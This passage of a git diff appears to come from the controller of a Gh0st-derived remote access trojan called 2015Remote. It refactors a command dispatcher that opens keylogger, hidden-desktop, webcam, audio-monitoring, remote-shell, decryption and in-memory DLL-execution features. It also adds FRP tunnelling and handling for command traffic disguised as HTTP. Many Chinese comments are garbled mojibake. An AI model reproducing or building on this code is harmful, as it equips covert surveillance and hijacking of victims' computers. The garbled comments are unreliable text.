atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str()); int n = THIS_CFG.GetInt("settings", "SoftwareDetect"); - m_settings = { m, sizeof(void*) == 8, __DATE__, n }; + int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp"); + m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP }; std::map myMap = {{SOFTWARE_CAMERA, "鎽勫儚澶"}, {SOFTWARE_TELEGRAM, "鐢垫姤" }}; std::string str = myMap[n]; LVCOLUMN lvColumn; @@ -1037,11 +1038,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() ShowMessage("浣跨敤鎻愮ず", tip); #ifdef _WIN64 - if (!master.empty()) { - int use = THIS_CFG.GetInt("frp", "UseFrp"); - if (use) { - m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL); - } + if (usingFRP) { + m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL); } #endif @@ -1966,10 +1964,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0); unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen(); - + // 銆怢銆戯細涓绘満涓婁笅绾垮拰鎺堟潈 + // 銆恱銆戯細瀵硅瘽妗嗙浉鍏冲姛鑳 switch (cmd) { - case TOKEN_GETVERSION: // 鑾峰彇鐗堟湰 + case TOKEN_GETVERSION: // 鑾峰彇鐗堟湰銆怢銆 { // TODO 缁存寔蹇冭烦 bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1); @@ -1983,7 +1982,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) SAFE_DELETE_ARRAY(resp); break; } - case CMD_AUTHORIZATION: // 鑾峰彇鎺堟潈 + case CMD_AUTHORIZATION: // 鑾峰彇鎺堟潈銆怢銆 { int n = ContextObject->InDeCompressedBuffer.GetBufferLength(); if (n < 100) break; @@ -2024,7 +2023,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) Sleep(20); break; } - case CMD_EXECUTE_DLL: // 璇锋眰DLL + case CMD_EXECUTE_DLL: // 璇锋眰DLL锛堟墽琛屼唬鐮侊級銆怢銆 { DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1); for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){ @@ -2038,15 +2037,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) Sleep(20); break; } - case COMMAND_PROXY: + case COMMAND_PROXY:// 浠g悊鏄犲皠銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_HEARTBEAT: case 137: + case TOKEN_HEARTBEAT: case 137: // 蹇冭烦銆怢銆 UpdateActiveWindow(ContextObject); break; - case SOCKET_DLLLOADER: {// 璇锋眰DLL + case SOCKET_DLLLOADER: {// 璇锋眰DLL銆怢銆 auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false; int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); @@ -2063,95 +2062,95 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit); break; } - case COMMAND_BYE: // 涓绘満涓嬬嚎 + case COMMAND_BYE: // 涓绘満涓嬬嚎銆怢銆 { CancelIo((HANDLE)ContextObject->sClientSocket); closesocket(ContextObject->sClientSocket); Sleep(10); break; } - case TOKEN_DRAWING_BOARD: + case TOKEN_DRAWING_BOARD:// 杩滅▼鐢绘澘銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject); break; } - case TOKEN_DRIVE_LIST_PLUGIN: // 鏂囦欢绠$悊 + case TOKEN_DRIVE_LIST_PLUGIN: // 鏂囦欢绠$悊銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_BITMAPINFO_HIDE: { // 铏氭嫙妗岄潰 + case TOKEN_BITMAPINFO_HIDE: { // 铏氭嫙妗岄潰銆恱銆 g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SYSINFOLIST: { // 涓绘満绠$悊 + case TOKEN_SYSINFOLIST: { // 涓绘満绠$悊銆恱銆 g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject); break; } - case TOKEN_CHAT_START: { // 杩滅▼浜よ皥 + case TOKEN_CHAT_START: { // 杩滅▼浜よ皥銆恱銆 g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_DECRYPT: { // 瑙e瘑鏁版嵁 + case TOKEN_DECRYPT: { // 瑙e瘑鏁版嵁銆恱銆 g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_KEYBOARD_START: {// 閿洏璁板綍 + case TOKEN_KEYBOARD_START: {// 閿洏璁板綍銆恱銆 g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_LOGIN: // 涓婄嚎鍖 + case TOKEN_LOGIN: // 涓婄嚎鍖呫怢銆 { g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); break; } - case TOKEN_BITMAPINFO: // 杩滅▼妗岄潰 + case TOKEN_BITMAPINFO: // 杩滅▼妗岄潰銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_DRIVE_LIST: // 鏂囦欢绠$悊 + case TOKEN_DRIVE_LIST: // 鏂囦欢绠$悊銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_TALK_START: // 鍙戦佹秷鎭 + case TOKEN_TALK_START: // 鍙戦佹秷鎭恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SHELL_START: // 杩滅▼缁堢 + case TOKEN_SHELL_START: // 杩滅▼缁堢銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_WSLIST: // 绐楀彛绠$悊 - case TOKEN_PSLIST: // 杩涚▼绠$悊 + case TOKEN_WSLIST: // 绐楀彛绠$悊銆恱銆 + case TOKEN_PSLIST: // 杩涚▼绠$悊銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_AUDIO_START: // 璇煶鐩戝惉 + case TOKEN_AUDIO_START: // 璇煶鐩戝惉銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_REGEDIT: // 娉ㄥ唽琛ㄧ鐞 + case TOKEN_REGEDIT: // 娉ㄥ唽琛ㄧ鐞嗐恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_SERVERLIST: // 鏈嶅姟绠$悊 + case TOKEN_SERVERLIST: // 鏈嶅姟绠$悊銆恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); break; } - case TOKEN_WEBCAM_BITMAPINFO: // 鎽勫儚澶 + case TOKEN_WEBCAM_BITMAPINFO: // 鎽勫儚澶淬恱銆 { g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); break; } - case CMD_PADDING: { + case CMD_PADDING: { // 闅忔満濉厖 Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len); break; } diff --git a/server/2015Remote/Buffer.cpp b/server/2015Remote/Buffer.cpp index e156fb0..6684558 100644 --- a/server/2015Remote/Buffer.cpp +++ b/server/2015Remote/Buffer.cpp @@ -186,16 +186,17 @@ ULONG CBuffer::GetBufferLength() // return len; } -void CBuffer::Skip(ULONG ulPos) { +std::string CBuffer::Skip(ULONG ulPos) { if (ulPos == 0) - return; + return ""; EnterCriticalSection(&m_cs); - + std::string ret(m_Base, m_Base + ulPos); MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos); m_Ptr -= ulPos; LeaveCriticalSection(&m_cs); + return ret; } // 此函数不是多线程安全的. 只在远程桌面使用了. diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h index dc46d0d..aaf177a 100644 --- a/server/2015Remote/Buffer.h +++ b/server/2015Remote/Buffer.h @@ -86,7 +86,7 @@ public: BYTE GetBYTE(ULONG ulPos); BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos); ULONG RemoveCompletedBuffer(ULONG ulLength); - void Skip(ULONG ulPos); + std::string Skip(ULONG ulPos); protected: PBYTE m_Base; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 7f2f9b4..d76cc6c 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -589,12 +589,8 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr break; } bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD; -#if USING_LZ4 - unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength); -#else unsigned long ulCompressedLength = usingZstd ? ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12; -#endif BYTE buf[1024]; LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf; Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 76b2f56..22c9c4f 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -18,14 +18,7 @@ // ZLIB 压缩库 #include "zlib/zlib.h" -#if USING_LZ4 -#include "lz4/lz4.h" -#pragma comment(lib, "lz4/lz4.lib") -#define C_FAILED(p) (0 == (p)) -#define C_SUCCESS(p) (!C_FAILED(p)) -#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen)) -#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen)) -#else // ZSTD +// ZSTD #include "zstd/zstd.h" #ifdef _WIN64 #pragma comment(lib, "zstd/zstd_x64.lib") @@ -42,7 +35,6 @@ #define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT) #define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen) #endif -#endif class IOCPServer : public Server @@ -142,12 +134,7 @@ public: m_iocpServer(pIOCPServer), CDialog(nIDTemplate, pParent) { - sockaddr_in sockAddr; - memset(&sockAddr, 0, sizeof(sockAddr)); - int nSockAddrLen = sizeof(sockaddr_in); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen); - - m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; + m_IPAddress = pContext->GetPeerName().c_str(); m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; } virtual ~CDialogBase(){} diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index dca7059..23490e3 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -76,7 +76,19 @@ protected: virtual ~HeaderParser() { Reset(); } - PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) { + std::string getXForwardedFor(const std::string& headers) { + const std::string key = "X-Forwarded-For: "; + size_t pos = headers.find(key); + if (pos == std::string::npos) + return ""; + pos += key.size(); + size_t end = headers.find("\r\n", pos); + if (end == std::string::npos) + return ""; + std::string ip = headers.substr(pos, end - pos); + return ip; + } + PR Parse(CBuffer& buf, int& compressMethod, std::string &peer) { const int MinimumCount = MIN_COMLEN; if (buf.GetBufferLength() < MinimumCount) { return PR{ PARSER_NEEDMORE }; @@ -86,10 +98,14 @@ protected: ULONG srcSize = buf.GetBufferLength(); PkgMaskType maskType = MaskTypeUnknown; ULONG ret = TryUnMask(src, srcSize, maskType); + std::string str = buf.Skip(ret); + if (maskType == MaskTypeHTTP) { + std::string clientIP = getXForwardedFor(str); + if (!clientIP.empty()) peer = clientIP; + } if (nullptr == m_Masker) { m_Masker = maskType ? new HttpMask(peer) : new PkgMask(); } - buf.Skip(ret); if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount)) return PR{ PARSER_NEEDMORE }; diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp index 87c4f95..a338b63 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.cpp +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -62,11 +62,7 @@ BOOL CProxyMapDlg::OnInitDialog() m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort); CString strString; - sockaddr_in ClientAddress; - memset(&ClientAddress, 0, sizeof(ClientAddress)); - int iClientAddressLength = sizeof(ClientAddress); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength); - strString.Format("%s - 代理服务", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); + strString.Format("%s - 代理服务", m_IPAddress); SetWindowText(strString); str.Format(_T("SOCKS 代理软件请设置服务器为: <127.0.0.1:%d>\r\n"), m_nPort); diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index f19e002..cdd9c53 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -5,12 +5,8 @@ #pragma once -// 是否使用LZ4 -#define USING_LZ4 0 -#if !USING_LZ4 #define USING_ZSTD 1 #define USING_CTX 0 -#endif #ifndef _SECURE_ATL #define _SECURE_ATL 1